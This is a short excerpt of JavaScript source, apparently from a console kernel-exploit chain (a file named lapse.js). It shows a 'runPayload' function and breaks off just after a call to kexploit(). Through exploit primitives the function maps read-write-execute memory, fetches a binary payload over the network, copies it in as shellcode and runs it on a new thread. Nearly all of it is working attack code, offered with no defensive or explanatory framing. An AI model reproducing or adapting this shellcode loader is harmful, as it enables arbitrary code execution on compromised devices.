Function runPayload

g2all/900/lapse.js:1801–1829

(PLfile)

}

function runPayload(PLfile) {
  var loader_addr = chain.sysp('mmap', 0, 0x1000, 7, 0x41000, -1, 0);
  var tmpStubArray = array_from_address(loader_addr, 1);
  tmpStubArray[0] = 0x00C3E7FF;

  var req = new XMLHttpRequest();
  req.responseType = "arraybuffer";
  req.open('GET', PLfile);
  req.send();

  req.onreadystatechange = function () {
    if (req.readyState == 4) {
      if (req.status === 200 && req.response) {
        var PLD = req.response;
        var payload_buffer = chain.sysp('mmap', 0, PLD.byteLength * 4, 7, 0x1002, -1, 0);
        var pl = array_from_address(payload_buffer, PLD.byteLength * 4);
        var padding = new Uint8Array(4 - (req.response.byteLength % 4) % 4);
        var tmp = new Uint8Array(req.response.byteLength + padding.byteLength);
        tmp.set(new Uint8Array(req.response), 0);
        tmp.set(padding, req.response.byteLength);
        var shellcode = new Uint32Array(tmp.buffer);
        pl.set(shellcode, 0);
        var pthread = malloc(0x10);

        call_nze('pthread_create', pthread, 0, loader_addr, payload_buffer);
      }
    }
  };
}

kexploit().then(() => {
	setTimeout(() => {